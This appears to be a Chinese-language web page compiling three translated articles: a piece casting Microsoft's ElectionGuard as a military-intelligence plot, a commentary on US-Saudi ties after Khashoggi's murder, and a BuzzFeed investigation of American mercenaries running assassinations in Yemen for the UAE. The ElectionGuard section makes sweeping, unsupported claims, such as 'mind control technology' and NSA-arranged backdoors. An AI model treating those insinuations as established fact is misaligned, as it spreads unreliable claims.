毫无疑问，该机构目前正在开发基本上相当于精神控制技术的事实，却突然变得如此有兴趣创造和资助价值数百万美元的的选举系统，这是一种奇怪的现象，并提出了可疑的动机。

同样，微软声称“ ElectionGuard 是完全免费的，并且不会从其产品中而获利”，也应该引起人们的注意。

世上只有老鼠夹子上的奶酪是免费的。

考虑到微软有着"悠久的掠夺行为历史"，包括其 OneCare 软件的价格欺诈，其免费提供的 ElectionGuard 软件对于这家科技巨头来说显然是不可想象的。

此外，微软作为主要技术寡头以及美国军方和情报界的承包商的双重角色也同样应该引发警惕。

微软刚与五角大楼签订了价值4.8亿美元的合同，为美国军方提供 HoloLens 技术。

「图」

「图」

Recruiters from Microsoft speak with US military personnel at Joint Base Lewis-McChord, Wash. Ted S. Warren | AP

微软与五角大楼建立的这种密切关系可以解释该公司在创建和推广 ElectionGuard 方面的别有用心，因为推广 **DARPA** 资助的大部分选举技术可能有助于提高微软与五角大楼达成"100亿美元云服务合

同"的机会。

当然，ElectionGuard 自称“开源”只是为了减轻这种推测，因为该技术的开源性质表面上意味着没有隐藏可用于操纵结果的离散代码。

但是，正如稍后将要说明的那样，技术是开源的这一事实并不意味着通过该技术的数据不会受到来自第三方的操纵。

微软与以色列军事情报界的关系

ElectionGuard 目前正在被提升为防止外国政府或国家行为者在未来的美国选举中“干涉”的关键一步。

然而，鉴于微软与外国军事情报界有着深厚的联系：以色列，不能保证 ElectionGuard 本身不受外国影响。

微软与被称为**8200**单位的以色列军事情报部门的联系由于多种原因令人不安。

首先，新选举软件系统的主要开发者声称旨在保护美国选举免受“外国干涉”，但是他们自己却与外国军事情报机构关系密切。

不言而喻，如果 ElectionGuard 的主要开发者与另一家外国军事情报机构（例如俄罗斯军事情报机构）有这种联系，该软件将无法在美国采用，这很可能是一个国家丑闻。

然而微软与以色列军事情报机构的联系并没有困扰 ElectionGuard 的支持者这一事实表明，只要涉及的外国是一个盟友而不是对手，这个问题就不是“外国”干涉或影响了。

关于以色列干涉全球外国选举的最近一系列丑闻值得重点关注。

最近的这些丑闻涉及以色列公司 Archimedes 及其社交媒体虚假宣传活动，以瞄准多个非洲和亚洲国家的选举。

根据以色列时报的说法，**Archimedes** 集团的首席执行官 **Elinadav Heymann** 是前以色列军方的高级情报人员。

作为其虚假宣传活动的一部分，该集团花费了大约**80**万美元用于误导 **Facebook** 广告，这笔款项远远超过俄罗斯公司在2016年大选中针对类似的虚假宣传活动所花费的10万美元。

在最新丑闻发生之前，一些以色列私人公司"被指控"在**2016**年与特朗普竞选活动勾结，即 现已关闭的"PSY集团" —— 由前以色列情报人员管理 —— 和**Wikistrat**，后者也与以色列情报机构"关系密切"。

微软长期以来一直在以色列开展业务，其历史可以追溯到1989年。然而，近年来，他们已经投资并收购了多家与 IDF 8200部门有着深厚联系的公司。

2015年，微软以3.2亿美元的价格收购了以色列云服务公司 Adallom，并将继续作为微软自1989年以来一直活跃的研发中心的新基金。

Adallom 的产品随后更名为 Microsoft Cloud App Security。Adallom 的首席执行官和联合创始人是 Assaf Rappaport，他现在是特拉维夫微软研发中心的负责人。

Rappaport 毕业于以色列国防军 **“Talpiot”** 精英计划，并在以色列军事情报部门**8200**单位任职。

8200部队是以色列情报部门的精英部队，是以色列国防军军事情报局的一部分，主要参与信号情报（即监视）、网络战和代码解密。

「图」

「图」

Members of Israel’s signals intelligence Unit 8200. Photo | Moti Milrod

值得注意的是，美国国家安全局和**8200**合作开展了臭名昭著的"Stuxnet 病毒"以及 "Duqu 恶意软件"等项目。

此外，美国国家安全局与私营部门8200的退伍军人合作，例如当美国国家安全局"雇用两家以色列公司时"，其高管与**8200**单位直接挂钩，为所有主要的美国电信和主要科技公司创建后门：包括 **Facebook**、微软和谷歌。

该单位还因为“胁迫目的” —— 即 收集讹诈信息 —— 以及通过与国家安全局的情报共享协议对平民进行间谍活动而闻名。

然而，微软与8200的联系已经远远超出了 Adallom。另一个例子是微软对由 Team8 创建的以色列网络安全公司 Illusive Networks 的大量

投资。

Team8 的首席执行官和联合创始人是 Nadav Zafrir，他曾经领导过8200，该公司其他三位联合创始人中的两位也都是8200的老手。谷歌的前任首席执行官 **Eric Schmidt**，是 **Team8** 主要的支持者。

Team8 已经与前美国国家安全局局长合作，例如，Zafrir 与前国家安全局局长臭名昭著的 Keith Alexander 一起做演讲。

这些努力最终导致 Team8 招聘已退休的海军上将 Mike Rogers，也是前美国国家安全局和美国网络司令部主任，担任“高级顾问”。

“我过去曾与8200单位的高级人才资源合作过，所以当我有机会加入Team8时，我知道这是一个难得的宝贵机会，” Rogers 说。

Rogers 被一家外国军事情报机构前任老板领导的公司聘用，引起了美国国家安全局退伍军人的尖锐批评。

其中一位前 NSA 员工 —— 美国国家安全局定制访问操作黑客部门的资深人士 Jake Williams 告诉 CyberScoop，“由于他的技术经验，Rogers 不值得这个角色……这纯粹是因为他对机密操作的了解和他能够影响美国政府和私营部门承包商的许多人。”

除了微软通过与 Adallom、Illusive Networks 和 Team8 的8200的密切关系之外，微软还与以色列军方直接联系，IDF采用了该公司的 HoloLens 技术。

ElectionGuard 为军事工业综合体制造了一场不流血的政变

在2016年大选之后以及对“俄罗斯黑客”渗透选举系统的强烈关注之后，像国家安全局这样的联邦机构利用这种威胁来游说以加强对美国民主的控制。

Rogers —— 现在受雇于微软资助的以色列军事情报联盟公司 Team8 —— 为美国政府机构（包括国家安全局和国土安全部）的直接参与进行游说；ElectionGuard 将帮助这些机构特别容易地监视美国选举，特别是考虑到微软过去与国家安全局的幕后合作。

鉴于目前所描述的 ElectionGuard 系统既不像微软声称的那样“安全”也不“可验证”，显然其开发人员的利益冲突、特别是他们与美国和以色列军队的关系，是灾难的一个重要因素。这等同于军工综合体对美国选举制度的接管。

正如 Jonathan Simon 所说，“如果我们让计算机退出投票过程，并且愿意集体投入人类在公共场合可观察地计算投票所需的一小部分努力，那么我们就可以轻松地走向相反的方向，迅速解决选举安全的所有问题。曾经一直在这样做。如果民主不值得这样的努力，也许我们不值得得到它”。〇

Microsoft’s ElectionGuard a Trojan Horse for a Military-Industrial Takeover of US Elections

原文

两个数字告诉你为什么特朗普不会制裁沙特 - iYouPort

以色列和NSO-间谍产业的领主地缘政治

更新本文。上周沙特在一天之内斩首了**37**名政治犯，引起全球哗然。这些人由于参加抗议活动而被捕，他们死前都没有经过公正的审判，甚至没有见过律师，其中还有三名未成年人在没有被定罪的情况下被杀害。重读本文将帮助您了解为什么美国和沙特的关系一直如此亲密，即便是在这个君主制国家作恶不断的情况下

特朗普于11月20日公开说："我们可能永远不会知道关于谋杀记者 Jamal Khashoggi 先生的所有真相，但美国打算继续作为沙特阿拉伯的坚定伙伴"，确保我们国家、以色列和该地区所有其他伙伴的利益。"

鉴于沙特王储穆罕默德·本·萨勒曼在沙特阿拉伯驻伊斯坦布尔领事馆下令谋杀 Khashoggi，土耳其和美国情报界似乎已经就这点达成了共识，许多人认为特朗普的声明很奇怪，但是，两个简单的数字就能澄清，包括特朗普在内的历届美国政府对美国-沙特关系的重视程度。特朗普只是说出了美国传统。

第一个数字是 1。

Jamal Khashoggi 是一个人。他是沙特公民，被"他的"政府视为国家的敌人。他既不是美国公民，也不是在美国境内被杀害的。事实上，他在沙特土地上被技术性杀害—— 领事馆享有与大使馆相同的"主权"地位。虽然邪恶和悲惨，但对他的谋杀实际上不再关美国政府的事。

第二个数字是 2,977。

这就是 2001 年9月11日在世贸中心有多少人死于劫机者之手。⚠19 名劫机者，其中 15 名是沙特人。

不迟于 2002 年12月，大概在此之前，美国政府就知道了 9/11 劫机者得到了沙特政府官员和沙特王室成员的大量资助和支持。

然而这些信息一直被保密到了 2016 年，当时国会官方 9/11 报告的 28 个先前编辑的页面最终向公众发布—— 华盛顿和利雅得之间的“友好”关系继续前进。

美国入侵阿富汗以应对9/11恐怖袭击事件—— 请注意没有任何一名劫机者是阿富汗人。

美国政府暗示了基地组织和萨达姆侯赛因政权之间的关系，这是 2003 年入侵该国的理由之一—— 劫机者中并没有伊拉克人，实际上基地组织是萨达姆最无情的敌人之一。

但是沙特阿拉伯却被豁免了，阿联酋也被豁免了—— 劫机者中有 15 名沙特人，两名阿联酋人。

为什么呢？因为石油、金钱和美国的外交政策。

沙特阿拉伯和阿联酋控制着世界上大量的石油，他们任何时候都可以破坏国际石油市场（以及国际生活）。

沙特阿拉伯和阿联酋也是美国武器排名最前的两大买家。

最后，沙特阿拉伯和阿联酋支持美国孤立伊朗和挫败其政权的地区野心的议程，并允许美国军队根据该议程在其领土上运营军事基地。

与此同时美国境内发生的 2,977 人死亡的谋杀案，其中大部分都是美国人，对乔治·W·布什或巴拉克·奥巴马来说这无关紧要。

对 2,977 人死亡的谋杀案都无关紧要，更不用说在沙特领事馆谋杀一名沙特记者了，对唐纳德特朗普来说同样是无关紧要。

但是它们理应非常重要的。

Two Numbers That Explain Why Trump Won’t Sanction Saudi Arabia: 2,977 murders on US soil, most of them Americans, didn’t matter to George W. Bush or to Barack Obama. Nor do those 2,977 murders, let alone the murder of one Saudi journalist in a Saudi consulate, matter to Donald Trump.

counterpunch 发起辩论邀请，在这里：https://www.facebook.com/

CounterPunch-official-172470146144666/ 欢迎任何不同意见加入辩论。

原文

中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子 - iYouPort

地缘政治

“这是一个针对性的暗杀计划 …… 我们正在执行任务 …… 任务完成“—— 暗杀游戏：目标是谁不重要，耀眼的佣金已足够

这辆装甲 SUV 停在 Aden 黑暗的街道上，前美国绿色贝雷帽挎着 AK-47 吮吸着一根棒棒糖，站在旁边。执行任务的另外两名战士是前美国海豹突击队队员。作为精英美国特种作战战士，他们多年来一直受到美国军方的专门训练，当然那些训练是为了保护美国。但是，现在他们正在为一位完全不同的雇主工作：一家由阿联酋雇佣的美国私人公司，这是一个位于波斯湾沙漠的小君主制国家。

2015年12月29日那天晚上，他们的工作是进行暗杀。

两名参与者向 BuzzFeed News 描述了他们的武装攻击，并通过无人机监控镜头证实，令人震惊，这是该营利性暗杀企业的第一次行动。几个月来，在饱受战争蹂躏的也门，美国一些训练最为严格的士兵正在进行一项阴暗的雇佣军任务，以杀死杰出的神职人员和伊斯兰政治人物。

那天晚上他们的目标是：阿萨夫阿里梅奥 (Anssaf Ali Mayo)，伊斯兰政党 Al-Islah 的当地领导人。阿联酋认为 Al-Islah 是全球穆斯林兄弟会的也门分支，阿联酋称之为”恐怖组织”。但是许多专家则坚持认为，其成员获得了"诺贝尔和平奖"的 **Al-Islah** 并不是恐怖组织。他们说，这是一个合法的政党，不是通过暴力威胁阿联酋的，而是反对其在也门的野心。

雇佣军的计划是将一枚炸弹安放在 Al-Islah 总部的门口，该总部位于 Aden 中部的一个足球场附近，这是一个关键的也门港口城市。探险队的一位领导人解释说，这次爆炸应该“杀死那个办公室里的每个人”。

当他们晚上9点57分到达时，一切都显得很安静。男人们从 SUV 中爬出来，准备好了枪。一个人向建筑物射击。但正当他即将到达大门时，团队的另一名成员开火，沿着灯光昏暗的街道向后射击，他们精心设计的计划陷入了困境。在这里看到视频：

对 Mayo 的暗杀行动当时就被报道了，但直到现在还不知道该行动是由美国雇佣兵进行的—— 它是也门战争的一个支点，残酷的冲突导致儿童陷入严重饥饿、村庄遭到轰炸袭击、流行病霍乱席卷了苦难的平民。这次轰炸是一系列未解决的暗杀计划中的第一次齐射，这次暗杀造成了该组织的二十多位领导人死亡。

雇佣兵们所在的公司是 Spear Operations Group，该公司在特拉华州注册成立，由居住在匹兹堡以外的富有魅力的匈牙利裔以色列安全承包商 Abraham Golan 创立。他领导了这支暗杀小组对 Mayo 的袭击。

“在也门有一个针对性的暗杀计划”，他告诉 BuzzFeed 新闻，“ 我正在运行它。我们做到了。它在联盟内被阿联酋批准。”

阿联酋和沙特阿拉伯领导了在也门九个国家的联盟，主要是对伊朗进行"代理人战争"。"美国正在通过提供"武器、情报和其他支持来帮助沙特阿联酋。

阿联酋美国大使馆的新闻办公室、以及美国公共事务公司 HarbourGroup 都没有回复记者的多个电话和电子邮件。

一个中东君主制国家雇佣美国人进行暗杀的消息曝光发生在世界专注于沙特阿拉伯—— 这个与美国和阿联酋关系密切的专制政权据称谋杀了持不同政见的记者 Jamal Khashoggi 的热点时刻。（沙特驻美国大使馆没有回复评论请求。利雅得否认它杀死了 Khashoggi，尽管新闻报道显示它正在考虑将记者的死亡归咎于拙劣的审讯）

Golan 说，在他的公司长达几个月在也门期间，他的团队负责了一些高调的暗杀，尽管他拒绝具体说明是哪些。他认为美国需要一个类似于他所部署模式的暗杀计划。他说，“也许我是个怪物。也许我应该入狱。也许我是个坏人。但我是对的。”

Spear 行动小组的私人暗杀任务标志着改变全球战争方式的三个发展的汇合：

- 现代反恐战斗已经从传统的军事目标—例如摧毁机场、军事基

地或营房—转移到了杀害特定个人，在很大程度上是为将战争重组的有组织暗杀。
- 战争越来越私有化，许多国家将大多数军事支持服务外包给私人承包商，使前线作战几乎成为美国和其他许多军队没有向营利性企业外包的唯一功能。
- 美国在阿富汗和伊拉克的长期战争严重依赖精锐的特种部队，产生了数万名训练有素的美国突击队员（杀人机器），他们可以根据国防合同要求私人部门的高额工资、或纯粹的雇佣军工作。

随着 Spear 行动小组在也门的任务，上述这些趋势融合成了一种新的和煽动性的业务：由经验丰富的美国战斗人员进行的军事化合同杀戮。

专家们表示，几乎不可思议的是，美国不会知道阿联酋—美国在几乎每个层面都训练过的军队—雇用了一支由美国退伍军人组成的公司，在一场密切监视的战争中进行暗杀计划。

据熟悉该行动的三位消息人士透露，其中一名雇佣兵曾与中央情报局的“地面分支”合作，该机构相当于军方的特种部队。另一位是马里兰州陆军国民警卫队的特种部队中士。据知道他的四个人说，另一个人仍然在海军预备役中作为海豹突击队员并且有一个绝密的许可。消息人士告诉 BuzzFeed News，他是 SEAL Team 6 或 DEVGRU 的资深人士，这是“纽约时报”曾描述过的以杀害奥萨马·本·拉登而闻名的精英部队，作为一个“外"部监督极为有限的全球追捕机器" ”。

> *“What vetting procedures are there to make sure the guy you just smoked is really a bad guy?”*

美国中央情报局表示，它“没有”关于雇佣军暗杀计划的消息，海军的特种作战司令部拒绝发表评论。曾在阿联酋工作的前中央情报局官员最初告诉 BuzzFeed 新闻，美国人不可能被允许参加这样的行动。但是，经过检查后，他回电话说：“有些人基本上的确和你说的一样做了那些事”。他说，通过他所了解到的东西，他感到很惊讶：“你如何确保那个街边吸烟的人真的是一个坏人？“ 他说，雇佣兵 ”几乎就像一个谋杀小组”。

更令人惊讶的是，Spear 的雇佣兵行动是否违反美国法律都完全不清楚。一方面，美国法律规定在另一个国家“ 串谋杀害、绑架、伤害 ”某人是违法的；向外国提供军事服务的公司应该由国务院监管，国务院表示从未授权任何公司向另一个国家提供作战部队或雇佣军。

但是，另一方面，"美国并没有禁止雇佣军"。除了一些例外，在外国军队服役是完全合法的，无论是出于理想主义还是金钱。在没有法律后果的情况下，美国人曾在以色列国防军、法国外籍军团、甚至是在叙利亚与 ISIS 作战的民兵中服役。据三位消息人士称，Spear 行动小组安排阿联酋为参与执行任务的美国人提供军衔，这样就能为他们提供法律保障。

尽管 Golan 游走在法律和政治的灰色地带，但他预示他的有针对性的暗杀品牌将成为一种精确的“反恐战略”，自称“减少平民伤亡”。但对 **Mayo** 的暗杀行动表明，这种新形式的战争带来了许多同样的老问题：突击队的计划出了问题，情报证明是有缺陷的，他们的袭击远非外科手术级的：他们附着在门上的爆炸物旨在杀死一个人而不是办公室里的每个人。

除了道德上必须反对之外，以营利为目标的暗杀事件也为现代战争增添了新的困境。私人雇佣兵在美国军方的指挥系统之外运作，所以如果他们犯错或犯下战争罪，就没有明确的制度让他们对此负责。如果雇佣军在街上杀死了一名平民，谁来调查？

暗杀 Mayo 的任务揭示了一个更为核心的问题：目标的选择。Golan 坚称，他只杀死了阿联酋政府确定的‘恐怖分子“，因为阿联酋是美国的盟友。但究竟谁是恐怖分子谁是政治家呢？什么是新的战争形式，什么是老式的谋杀？谁有权来决定谁死谁活？—不仅是在像阿联酋这样的秘密君主制的战争中，还有在像美国这样的民主国家的战争中？

BuzzFeed News 将该公司袭击 Al-Islah 总部的内幕故事拼凑在一起，揭示了当今雇佣军战争的样子—以及它可能变成什么样。

「图」

「图」

从左到右：Isaac Gilmore，Mohammed Dahlan和Abraham Golan

这项将美国雇佣兵带到 Aden 街头的协议在阿布扎比的午餐时间里被敲定，这是阿联酋军事基地军官俱乐部的一家意大利餐馆。Golan 和一位棱角分明的专门从美国赶来的前美国海军海豹突击队员艾萨克·吉尔摩尔（Isaac Gilmore），正如 Gilmore 回忆的那样，开端不祥。

他们的东道主是 Mohammed Dahlan, 就是上图中间那位，此人是巴勒斯坦权力机构最可怕的前安防负责人。穿着一套精心剪裁的西装，

他冷冷地看着他的雇佣兵客人，并告诉 Golan，在另一种情况下，他们会试图互相残杀。

事实上，他们不太可能配成一对。出生在匈牙利犹太家庭的 Golan 在以色列的安防业务方面保持着长期的联系，他说他在那里住了好几年。根据 2008 年他母亲的一篇文章，Golan 曾与前以色列政治家摩萨德的 Danny Yatom 在伦敦聚会，他的专长是“ 为非洲的能源客户提供安全保障。”根据三个消息来源，他的一份合同是保护钻探的船只。尼日利亚的海上油田曾遭到破坏和恐怖主义袭击。

Golan 留着胡子，抽着万宝路，浑身散发着热情。一位前中央情报局官员称 Golan 是一位优秀的推销员，并引用了小说家和哲学家安德烈·马尔罗（AndréMalraux）的话说：“一个人不是他所认为的那样，而是他试图隐藏的东西。”

Golan 说，他在法国接受教育，加入了法国外籍军团，并在世界各地旅行，经常打仗或执行安防合同。他说，在贝尔格莱德，他了解臭名昭著的准军事斗士和匪徒 ŽeljkoRažnatović，更为人所知的是 Arkan，他于2001年被暗杀。“我非常尊重 Arkan，”他告诉 BuzzFeed News。

BuzzFeed News 无法核实 Golan 的部分传记，包括他的军队服务经历，但 Gilmore 和另外一位与他一起在场的美国特种作战老兵说，很明显他有战斗经验。这位前中央情报局官员说，他被认为是能胜任的、无情的和精于算计的；另一位前中央情报局官员说，他举止“容易夸张”，但“正是因为那些疯狂的计划，他就是你要雇佣的那种人。”

Dahlan 没有回应评论请求，他们在加沙的同一个难民营长大，在20世纪80年代的起义期间，他成为了一名重要的政治角色。在90年代，他被任命为巴勒斯坦权力机构在加沙的安全负责人，负责监督1995年和1996年对哈马斯的严厉镇压。他后来与乔治·W·布什总统会面，并与中央情报局建立了牢固的关系，多次与该机构的主任乔治·特尼特（George Tenet）会面。Dahlan 曾被吹捧为巴勒斯坦权力机构的可能领导人，但在 2007 年，他在巴勒斯坦权力机构的腐败指控和哈马斯与中央情报局和以色列的合作中失败。

一个没有国籍的人，他逃往阿联酋。据报道，他在那里重新成为了王储穆罕默德·本·扎耶德·阿勒纳哈扬（即 被称为阿布扎比真正统治者的 MBZ）的重要顾问。了解 Dahlan 的前中央情报局官员说：“阿联酋把他当作了自己的斗牛犬。”

回到故事的场景。现在，在官员俱乐部的午餐时间，斗牛犬正在挑战他的访客，要求这些来自美国的战士告诉他，他们有什么特别之处，为什么他们比阿联酋士兵更好？

Golan 用虚张声势的腔调回答道，他可以比阿联酋军队中的任何人更好地射击、训练、奔跑和战斗，Golan 说：随便挑你认为最出色的人，我肯定能打败他。任何人。

巴勒斯坦人示意坐在附近的一位细心的年轻女助手，Dahlan 说，她就是我认为的最好的人。

这个笑话消解了紧张的局势，男人们安顿下来。开始品尝 Dahlan 推荐的意大利面。

「图」

「图」

左：Gilmore；右：Golan

阿联酋拥有丰富的财富，但只有大约 100 万公民，依靠来自世界各地的农民工做各种事，从清洁厕所到教大学生。它的军队也没有什么不同，向急切的美国国防公司和前将军支付了巨额资金。自 2009 年以来，美国国防部已批准向阿联酋提供至少 270 亿美元的军售和防务服务。

退役的美国陆军将军 Stanley McChrystal 曾签约参加阿联酋军事公司的董事会。前海军海豹突击队队员和海军少将 Robert Harward 负责管理著名军火商洛克希德马丁的阿联酋分部。安全执行官 Erik Prince（现在牵涉到特别律师罗伯特·穆勒对俄罗斯选举干涉的调查）在那里做了一段时间的生意，帮助阿联酋雇佣哥伦比亚的雇佣兵。

正如 BuzzFeed News 今年早些时候报道的那样，该国将外国人纳入其军队，并将一般的少将军衔给了美国中校 Stephen Toumajan，让他担任武装部队的一个分支的领导人。

阿联酋在使用国防承包商方面并不孤单; 事实上，正是美国帮助开创了全球军事私有化的举措。五角大楼支付公司执行许多传统功能，从喂养士兵到维护武器再到守卫车队。

美国在战斗中划了一条线; 它不雇用雇佣兵进行攻击或直接参与战争，但这条线正在变得模糊。私营公司提供全副武装的安保细节，以

保护战区外交官或外地情报人员。这些承包商可以像在利比亚班加西那样进行交火，当时有两名承包商在2012年因保护 CIA 而死。但是，正式来说，任务是保护，而不是战争！

在美国以外，雇用雇佣兵进行战斗任务的情况很少见，尽管已经发生了。据报道，在尼日利亚，一支长期由南非雇佣军 Eeben Barlow 领导的攻击部队于 2015 年成功地对抗了伊斯兰激进组织 Boko Haram（博科圣地）。Barlow 又成立了一家名为 Executive Outcomes 的公司，在惨遭战争蹂躏的塞拉利昂镇压了血腥的 RUF 反叛力量在20世纪90年代。

但是对于 Dahlan 来说，Golan 和 Gilmore 的意大利面餐会提供了一种特殊形式的雇佣兵服务。这不是提供安全细节，也不是传统的军事斗争或反叛乱战争。Golan 和 Gilmore 都承认，这是有针对性的杀戮。

Gilmore 说他不记得有人特意使用“暗杀”这个词。但是，从第一次会面中可以清楚地看出，这不是关于夺取或拘留 Al-Islah 的领导权，“目标是特定的，” Gilmore 说。Golan 说他被明确告知，帮助“扰乱和毁灭” Al-Islah，它被称之为“恐怖组织的政治分支”。

他和 Gilmore 承诺，他们可以迅速将具有合适技能的团队拉到一起。

在午餐后的几个星期里，他们敲定了合同。Golan 和 Gilmore 告诉 BuzzFeed News，该团队每月将获得**150**万美元。他们还为成功的杀戮赚取了奖金—Golan 和 Gilmore 拒绝透露奖金有多少—但他们会以半价开展他们的第一次行动以证明他们的能力。后来，Spear 还训练阿联酋士兵采用突击队战术。

Golan 和 Gilmore 还有另一个条件：他们希望被纳入阿联酋武装部队。他们希望他们的武器—以及他们的目标清单—来自穿制服的军官。这是“出于司法原因，” Golan 说，“因为一旦栽了，阿联酋的制服和徽章会标志着“雇佣兵和军人之间的区别”。

Dahlan 和阿联酋政府签署了协议，Spear 暗杀集团开始工作了。

「图」

「图」

Standing in front of a UAE military plane are Gilmore (middle left), Golan (middle right), and two soldiers on their mercenary team.

回到美国后，Golan 和 Gilmore 开始招募。Spear Operations Group 是一家小公司—没有像加尔达世界安保或 Constellis 这样的大块头—但它有大量的人才可供选择。

所谓“反恐战争”的一个鲜为人知的后果，特别是美国在伊拉克和阿富汗战争的 **17** 年，是特种作战部队的数量自 **9/11** 以来增加了一倍以上，从 33,000 增加到 70,000。这是由美国军方最精锐部队挑选、训练和战斗测试的高精尖士兵，如海军海豹突击队和陆军游骑兵队。一位不愿透露姓名的海豹突击队高级官员表示，一些特种作战预备役人员当雇佣兵的事几乎是公开的秘密，“我知道有很多人做过这类事，”他说，如果士兵没有现役，他们就没有义务报告他们正在做什么。

但特种作战退伍军人和预备役军人的选择并不像伊拉克战争初期那样。私人保安工作主要是在敌对环境中保护美国政府官员，缺乏实战的兴奋，也没有付出过去的代价。承包商说，虽然负责高端安保工作的精英退伍军人的起薪率通常为每天 700 美元或 800 美元，但现在这些费率已降至每天 500 美元左右。Golan 和 Gilmore 说，他们每月向美国战士提供 **25,000** 美元—每天约 **830** 美元—加上奖金，几乎是任何最慷慨的市场的总和。

尽管如此，也门的参战仍然进入了未知的领域，一些最优秀的士兵拒绝了。“也有钱解决不了的事”，Gilmore 说。

Gilmore 自己说他的记录也不完美。在海军时代他执行的实弹射击训练任务期间，他说他不小心击中了另一个海豹突击队员。Gilmore 说，这就是促使他在 2011 年离开海军的原因。他在加入 Spear 之前的最后一项重要工作是作为手工龙舌兰酒公司的高管。

他说，他的军事生涯中的那种污点也促使他加入 Spear 的冒险：他是一个局外人，他不在储备中，而且没有养老金问题需要担心。

到 2015 年底，领导这项行动的 Golan 和 Gilmore 拼凑了一支由十几名男子组成的团队。其中三位是美国特种部队退伍军人，其余大部分都是前法国外籍退伍军人，他们更便宜：每月只有大约1万美元，正如 Gilmore 记得的那样，这些人的薪水不到他和 Golan 为美国同行预算的一半。

这些人聚集在新泽西州泰特波罗机场附近的一家酒店。他们穿着各式各样的军装，有些穿着迷彩服，也有些穿着全黑。有些人留着胡须、肌肉丰满，有些人带着纹身，看着就很壮实。

Gilmore 说，他们说服酒店的工作人员把外面挂着的美国国旗借给他们用一下。在一个临时的仪式上，他们将国旗折叠成一个小三角形并佩戴在身上。

他们还包装了几个星期用的军事“即食餐”、防弹衣、通讯装备和医疗设备。肯定还有威士忌—三个 Basil Hayden，因为在也门不可能喝酒，更不用说别的好东西了。

12月15日，他们登上了包租的湾流 G550。快要降落前，Gilmore 就走到驾驶舱，告诉飞行员他们的飞行计划略有变化。在苏格兰加油后，他们不会飞往阿布扎比的主要商业机场，而是飞往阿联酋的沙漠军事基地。

「图」

「图」

左：Spear Operations Group 的名片; 右：Gilmore 的狗牌

在那个基地，雇佣军被一架阿联酋空军运输机送往厄立特里亚阿萨布的另一个基地。Gilmore 回忆说，在那次飞行中，一名穿着制服的阿联酋官员向他们作了简报，并对他们交代了一份暗杀目标的名单——23张卡片上有23个名字和23张面孔。每张卡片都有基本的情报：例如，这个人在也门政治中的角色，或者一个或两个住宅的网格坐标。

Gilmore 说其中有些人是 Al-Islah 的成员，有些人是神职人员，有些人是彻头彻尾的恐怖分子—— 但他承认，他根本无法确定谁是什么样的人。

BuzzFeed News 已经获得了一张“暗杀目标卡”，上面有一个男人姓名、照片、电话号码和其他信息。右上角是阿联酋总统卫队的徽章。

「图」

「图」

Obtained by BuzzFeed News

显而易见的问题是，为什么有人想要他死，甚至是他与之相关的团体。无法联系到该男子发表评论，目前尚不清楚他是活着还是死了。

从历史上看，暗杀在美国战争和外交政策中起到了有限的作用。1945

年，中央情报局前任机构 OSS 的负责人、号称“狂野比尔”多的诺万提交了一份最终计划，在整个欧洲部署杀戮部队，以攻击纳粹领导人，如希特勒、希姆莱和戈林，以及党卫队官员，根据 Douglas Waller 的多诺万传记记载。但 OSS 负责人对“批量暗杀”项目感到不安并取消了它。

在冷战期间，中央情报局在暗杀外国领导人的阴谋中发挥了重要作用，如刚果民主共和国的帕特里斯卢蒙巴、多米尼加共和国的拉斐尔特鲁希略、和南越的 Ngo Dinh Diem。在越南战争的后期，美国启动了凤凰计划，其中中央情报局经常与美国军方联手“废止”—或者干脆直说，暗杀—越共领导人。即便如此，有针对性的杀戮也并不是美国在越南的军事战略的核心支柱。在国会20世纪70年代揭露中央情报局的秘密活动之后，美国开始禁止暗杀外国领导人。

然后就是反恐战争了。

在乔治·W·布什总统的领导下，中央情报局和军方使用无人机杀死恐怖分子，中央情报局更加发展了秘密的暗杀能力。到了巴拉克•奥巴马（Barack Obama）时代停止了该机构的秘密暗杀计划，但大幅增加了对巴基斯坦、也门、阿富汗和索马里的无人机袭击的使用。很快，中央情报局和军方就开始使用飞机—远程视频监视器—通过仅基于目标协会和活动的 “signature strikes” 来杀死美国自己甚至都不知道是谁的人。特朗普政府则进一步放松了无人机袭击的监管规则。

但是，虽然私人承包商经常负责维护无人机，有时甚至会亲自操作它们，但据报道，他们无法采取行动：只有穿制服的军官才能按下发射无人机导弹的按钮，并杀死目标。

由于有组织的暗杀已经成为该地区战争的常规部分，阿联酋发展了自己的防御。该国已开始增加军事力量，到 2015 年它已成为也门战争的主要参与者。它还迅速瞄准了 Al-Islah，这是一个伊斯兰政党，在 2003 年举行的也门议会选举中赢得了超过 20% 的选票。

牛津大学也门专家 Elisabeth Kendall 指出，与基地组织或试图通过暴力夺取政权的其他恐怖组织不同，Al-Islah 参与了政治进程。但是，她说，正是美国无人机袭击的理由使其他国家对自己暗杀事件的追求完全合法化了：“反恐战争的概念整体严重掺水，含糊的概念让任何一个政权都可以大言不惭地说：’这就是纯粹的反恐战争！”

Golan 和 Gilmore 说，他们从阿联酋获得的首要目标就是 Al-Islah 在 Aden 的领导人 Mayo。Mayo 的头发简短，戴着金属丝眼镜，还有一

缕山羊胡子。他在也门发表了反对美国无人机袭击的观点，并在 2012 年告诉华盛顿邮报，美国的无人机不是在阻止基地组织，反而推动了基地组织规模的增长。

当被问及杀害手无寸铁的 Al-Islah 政治领导人的道德和合法性，而不是武装恐怖分子问题时，Golan 回答说："我认为这种二分法纯属知识分子的二分法"。

Golan 把自己的暗杀生意与以色列有针对性的杀戮计划做对比，该计划自以色列建国以来一直在进行，尽管有一些引人注目的错误和尴尬，但 Golan 声称自己已经做得很好了。他认为，有一些恐怖主义敌人如此危险和无情—并且如此难以逮捕—暗杀是最好的解决办法。

他坚持认为他的团队不是谋杀小组。作为证据，Golan 讲述了阿联酋如何继续提供与 Al-Islah 或任何团体、恐怖分子或其他组织完全没有任何关系的暗杀目标名字。Golan 说他拒绝执行这些人，但这是一个无法核实的说法。

他和 Gilmore 说，Spear 的目标是合法的，因为他们是由阿联酋政府选出的，阿联酋是美国的一个盟友，参与了美国支持的军事行动。Gilmore 说，他和 Golan 告诉阿联酋，他们永远不会违背美国的利益。Golan 声称，根据他的军事经验，他可以在进行一周或两周的监视后判断目标是否是恐怖分子。

尽管如此，Gilmore 还承认，其中一些目标可能只是那些仅仅被统治家族不再喜欢的人，当权者的政敌。在谈到该国的王储穆罕默德·本·扎耶德时，Gilmore 说："目标有可能仅仅是扎耶德自己不喜欢的人。"

「图」

「图」

Obtained by BuzzFeed News

当他们到达 Aden 时，雇佣军被发放了武器。根据 Gilmore 和 Golan 的说法，他们对质量低劣的中国产突击步枪和角色扮演游戏深感惊讶。

